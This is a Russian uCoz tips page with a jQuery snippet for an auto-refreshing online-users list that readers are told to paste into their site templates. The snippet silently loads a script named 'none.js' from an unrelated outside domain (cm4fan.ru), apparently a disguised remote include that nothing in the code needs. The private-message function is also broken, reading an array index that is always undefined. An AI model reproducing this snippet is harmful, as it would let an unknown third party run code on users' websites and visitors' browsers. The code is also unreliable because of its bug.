Четверг, 02.05.2024, 08:13
Главная Регистрация RSS
Приветствую Вас, Гость
Категории раздела
Видео уроки [3]
Cкрипты [4]
скрипты
Облако тегов
Реклама
Поиск
Реклама
Главная » 2012 » Октябрь » 16 » Новый простой динамичный список онлайн пользователей
22:05
Новый простой динамичный список онлайн пользователей
Это простой динамичный список онлайн пользователей, но предоставленный в блочной системе. Профиль и личные сообщения открываются в ajax окнах. Автообновление производится каждые 30 секунд. Скрипт выполнен без лишних функций и наворотов, так что код получился очень компактный

Установка:

В шаблонах своего сайта замените $ONLINE_USERS_LIST$ на:

Code
<div class="apoulist" style="display:none;">  
  $ONLINE_USERS_LIST$  
  </div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><style>  
  .apo {  
  width:95%;  
  height:15px;  
  background:rgba(230, 230, 230, 0.8);  
  padding:2px;  
  vertical-align:middle;  
  margin-bottom:5px;  
  font-weight:bold;  
  border-left:1px solid #ccc;  
  border-top:1px solid #ccc;  
  border-radius:2px;  
  }  

  .apo a {  
  text-decoration:none;  
  }  
  </style>  
  <script>  
  // Удобная динамичная онлайн статистика by Apocalypse  
  function apoOnGet() {  
  // Основная функция получения и стилизации списка пользователей  
  $('.apoulist').load('# .apoulist', function() {  

  // Убираем запятые  
  $('.apoulist').html($('.apoulist').html().replace(/\,/g, ''));  

  // Делаем форму видимой  
  $('.apoulist').fadeIn();  

  // Превращаем список пользователей в блочный вариант + отключаем события при клике  
  $('.apoulist a').each(function() {  
  $(this).html('<table class="apo"><td>' + $(this).html() + '</td><td align="right"><img src="http://s36.ucoz.net/.s/img/icon/us.png" onclick="apoGetP(\'' + $(this).text() + '\')" class="apoprofile" height="11px" title="Мини-профиль"> <img onclick="apoGetPm(\'' + $(this).attr('href') + '\')" src="http://s36.ucoz.net/.s/img/icon/mf.png" height="11px" title="Отправить сообщение"></td></table>');  
  }).removeAttr('onclick').click(function() {return false});  
  });  
  };  

  // Запускаем функцию при загрузке страницы  
  apoOnGet();  

  // Запускаем интервал автообновления  
  setInterval(function() {  
  apoOnGet();  
  }, 30000);  

  // Функция получения профиля  
  function apoGetP(name) {  
  new _uWnd('apoGetP', 'Профиль ' + name, 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/8-0-' + name.replace(/\-/gi, '~'), xml:false});  
  }  

  // Функция получения страницы Личных Сообщений  
  function apoGetPm(url) {  
  var url2 = url.split('-');  
  var url3 = url2[url2.length];  
  new _uWnd('apoGetPm', 'Сообщение', 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/14-' + url3 + '-0-1', xml:false});  
  }  
  // ApoTeam (c) 2012  
  </script>
Просмотров: 353 | Добавил: DianaWeb | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Последние файлы

 
[06.11.2015][Скрипты для ucoz]
Плейлист для фильмов или сериалов UCOZ (0)
[09.05.2012][Шаблоны для ucoz]
Шаблон Millenium (14)
[12.02.2012][Программы]
Программа Intro Banner Maker v2.9 Скачать бесплатно (30)
[12.02.2012][Программы]
Adobe Photoshop CS5.1 Extended 12.1.0 Update 2 (x32/x64) RUS Скачать (11)
[12.02.2012][Программы]
Бесплатная программа для создания меню сайта CSS Tab Designer (1)
[24.12.2011][Шаблоны для ucoz]
Флуд-контроль для форума (1)
[10.07.2011][Шаблоны для ucoz]
Шаблон Mistic v.2 (2)
[08.07.2011][Шаблоны для Joomla]
GK Gamebox v1.0.5 (2)
[08.07.2011][Шаблоны для ucoz]
Улучшенная версия шаблона "Kiks" (1)
[05.07.2011][Шаблоны для ucoz]
Шаблон Cinema World для ucoz (2)
Последние статьи

[12.07.2013]
Adobe Photoshop CS 6 Extended. Новые возможности (0)
[12.02.2012]
Как сделать собственный баннер через фотошоп? (1)
[12.02.2012]
Как сделать баннер для своего сайта самому (1)
[12.02.2012]
Онлайн генераторы баннеров и логотипов (7)
[12.02.2012]
CSS Tab Designer Бесплатная программа для создания меню сайта (0)
[12.02.2012]
Меню сайта в uCoz – как его создать или изменить? (2)
[10.02.2012]
Как раскрутить сайт бесплатно? (0)
[10.02.2012]
Как сменить дизайн на сайте Ucoz (0)
[10.02.2012]
Как создать сайт на юкозе? (4)
[08.02.2012]
Как установить иконку favicon.ico в ucoz? (1)
Последние видео уроки и скрипты


[05.11.2015][Cкрипты]
Переключатель сериалов для ucoz (0)
[05.11.2015][Cкрипты]
Переключатель сериалов для ucoz (0)
[13.09.2014]
Кнопка рейтинга + и - (0)
[06.09.2014]
Красивая статистика для uCoz (0)
[06.09.2014]
Вид комментариев ucoz с круглым Avatar (0)
[06.09.2014]
Up на подобии как в вк (0)
[31.08.2014]
Cоц. закладки для сайта (0)
[31.08.2014]
Кнопка наверх в виде ракеты с эффектом огня (0)
[29.08.2014]
Полный мини-чат для uCoz (0)
[30.03.2014]
Радио для сайта (0)